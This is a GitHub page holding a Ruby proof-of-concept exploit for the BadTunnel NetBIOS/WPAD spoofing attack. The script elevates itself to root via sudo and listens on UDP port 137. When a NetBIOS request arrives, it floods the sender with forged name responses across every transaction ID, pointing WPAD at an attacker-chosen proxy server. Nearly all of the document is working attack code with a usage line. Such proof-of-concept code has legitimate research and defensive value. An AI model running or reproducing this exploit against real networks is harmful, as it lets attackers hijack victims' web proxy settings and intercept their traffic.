-
Notifications
You must be signed in to change notification settings - Fork 172
/
badtunnel-poc.rb
85 lines (66 loc) · 1.86 KB
/
badtunnel-poc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'socket'
require 'ipaddr'
def get_root
if RUBY_PLATFORM.index("linux") && Process.euid != 0
this_sudo = `which rvmsudo`.index("rvmsudo") ? "rvmsudo" : "sudo"
this_ruby = File.readlink("/proc/self/exe")
args = [this_sudo, this_ruby, __FILE__, *ARGV]
exec(*args)
end
end
def get_socket
udp = UDPSocket.new
udp.setsockopt(Socket::SOL_SOCKET, Socket::SO_BROADCAST, true)
udp.bind('0.0.0.0', 137)
udp
end
def usage
$stderr.puts "Usage: #{$0} [wpad-server-ip] <pps-rate>"
exit(1)
end
wpad_addr = IPAddr.new( ARGV[0] || usage() )
targ_rate = ( ARGV[1] || 30_000 ).to_i
targ_port = nil
targ_addr = nil
get_root
loop do
sock = get_socket
$stdout.puts ["[*] Listening for NetBIOS requests...."]
while (r = sock.recvfrom(65535))
next unless r
data, addr_info = r
targ_port = addr_info[1]
targ_addr = addr_info[3]
break
end
sock.connect(targ_addr, targ_port)
$stdout.puts("[*] >> NetBIOS request from #{targ_addr}:#{targ_port}...")
payload = ["FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF"].pack("H*")
payload[58,4] = wpad_addr.hton
stime = Time.now.to_f
pcnt = 0
pps = 0
$stdout.puts("[*] >> Spamming WPAD responses to #{targ_addr}:#{targ_port} at #{targ_rate}/pps...")
live = true
while live
0.upto(65535) do |txid|
begin
payload[0,2] = [txid].pack("n")
sock.write(payload)
pcnt += 1
pps = (pcnt / (Time.now.to_f - stime)).to_i
if pps > targ_rate
sleep(0.01)
end
rescue Errno::ECONNREFUSED
$stdout.puts "[*] >> Error: Target sent us an ICMP port unreachable, port is likely closed"
live = false
break
end
end
end
$stdout.puts("[*] >> Cleaning up...")
sock.close
end